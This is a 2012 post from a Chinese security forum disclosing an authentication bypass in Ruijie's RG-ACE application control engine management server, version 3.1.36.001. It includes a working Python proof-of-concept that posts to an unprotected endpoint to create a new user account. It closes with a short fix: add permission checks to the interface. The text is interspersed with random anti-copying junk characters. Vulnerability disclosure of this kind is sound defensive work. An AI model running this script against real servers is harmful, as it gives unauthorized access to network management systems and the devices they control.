找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2228|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)6 Z% W6 R  m( }1 M- B

& h( x) K$ K5 s% X. O, a6 ?) t5 D
* p  M. r0 o6 m. t, e: G8 A3 U& {' J测试的具体版本是  {9 J0 x% I4 w$ \3 g* ]) Z
产品名称: 锐捷应用控制引擎6 P6 E3 Y8 E2 W
版本号: 3.1.36.001 TC- [" z9 w+ I  y- S
编译时间: 201104291730
; Y) Y7 U+ h: H6 Q9 Y 3 L7 I% l0 R. [6 H

: i5 a6 f( O% v4 X5 W+ K4 p漏洞证明:
0 s# k3 Z% v" v' `1 h; z9 I! l8 p : ~1 Y! U: H. [$ x
( |7 k" Q, R5 g& G

) \1 t8 p* Q: Y  s, M( `, X
0 O; z9 W4 a5 J! x7 ^  `3 i) p
9 Q  S, L- d# w3 g3 u4 D- ^1 L5 e3 \1 T" @9 N
执行脚本
9 a: o3 Q/ h: I$ L9 N0 q, R#! /usr/bin/env python
0 |- n! @9 V; r  I& \) U* q5 G# J: u: Q#coding=gbk9 N5 z* r. u: j, V2 s$ `. g
#RG-ACE管理服务器 V3.1.36.001
# s' z# ~" C8 }import urllib2, urllib,cookielib6 V5 P  X/ t& E# O& A
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
: t* _% T/ `1 F4 }opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
2 D8 t; n  m  zopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]" K& n2 t9 c- q7 ?  s6 @% e
post=(("event","userManager.doInsertUserInfo"),
2 |/ l4 ^7 I( o  V( K("useractionname","addButtonValue"),+ N' X3 O$ w* I
("useropermanager","userManager"),1 {0 ~9 }) T/ g$ I5 [' }( l
("userName","t"), #######账号自己加8 |: N: M/ ^$ K7 [
("pwd","aaaaaa"),######密码自己加: j& [+ c' K+ e7 ?" ?4 N  K
("trueName","ad"),
2 C# l! u# `" A# h("email",""),
. F( a* Q: S* I7 A. |$ a( v5 J- `("mobilePhone",""),, ]+ b0 ^# W" o, K
("officePhone",""),4 c1 F9 d1 C* w" z# U
("addr",""),; ~2 ~7 ?2 q" a! n/ d# A' z2 h
("submit","确定"))3 }" f" G' X1 k2 g- k3 J
urllib2.install_opener(opener)& t) Y) ]) U" O  s6 r
p=urllib2.urlopen(url, urllib.urlencode(post)).read(): R5 A* Q! ^; m1 U* b. n
print "Done"
3 [! {9 i" Y# V0 x
1 U6 g- j2 k* m$ l2 L. V登录,连接设备
+ R% p0 W' }7 \$ J6 ]$ n) C7 u# z" f3 Y( b: l* S9 b
- }5 c5 M# E0 l, Q

0 {" _( w5 S  Y
# h0 f" H! \- }5 x
; U$ h1 z5 ^; _默认的管理员admin权限更大点* Z# [4 K( }0 i) \- M8 |
  l, d) ^! m, a! L9 |, [1 {4 S

; j4 X% V4 h! L/ |" x' Z6 M$ }/ x) L" {* V! e" t

/ J( a( C  v1 p2 B2 {4 a# {. b5 G/ P+ w+ A+ s8 ?( F* L
修复方案:. v8 a% {4 ^' b7 }: X! ~
加强对接口的权限验证5 D+ ]& a5 t, J' {0 D" ~
1 @' b% V+ C/ L: F0 i/ u; x) C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表